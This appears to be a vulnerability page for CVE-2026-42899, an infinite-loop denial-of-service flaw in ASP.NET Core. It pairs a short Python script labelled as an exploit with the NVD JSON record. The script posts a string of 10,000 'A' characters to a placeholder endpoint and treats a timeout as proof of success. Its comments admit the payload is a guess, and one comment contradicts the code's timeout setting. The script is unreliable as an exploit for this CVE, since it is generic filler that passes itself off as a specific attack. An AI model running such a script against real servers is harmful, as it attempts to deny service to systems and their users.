CVE-2026-42899

import requests # Target URL configuration target_url = "http://vulnerable-server/api/endpoint" # Construct payload to trigger the infinite loop # Note: The exact payload structure depends on the specific parsing logic. # This example sends a large data chunk or specific pattern. payload = { "malicious_input": "A" * 10000 # Adjust pattern based on vulnerability specifics } try: print("[*] Sending malicious request to trigger infinite loop...") # Send request without timeout to simulate waiting on the hung server response = requests.post(target_url, data=payload, timeout=10) print("[-] Request completed (unexpected). Server may not be vulnerable.") except requests.exceptions.Timeout: print("[+] Server timed out. DoS condition likely triggered.") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-42899", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:26.733", "lastModified": "2026-05-13T18:39:43.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.27", "matchCriteriaId": "22FEE1A6-0E92-4E1A-B3C0-AD8DF6EE7B7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.16", "matchCriteriaId": "1F144BCB-8CEA-451A-9048-2A706EA67262"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.8", "matchCriteriaId": "480D562B-C22F-4227-B1F2-1DFA7E239DC7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}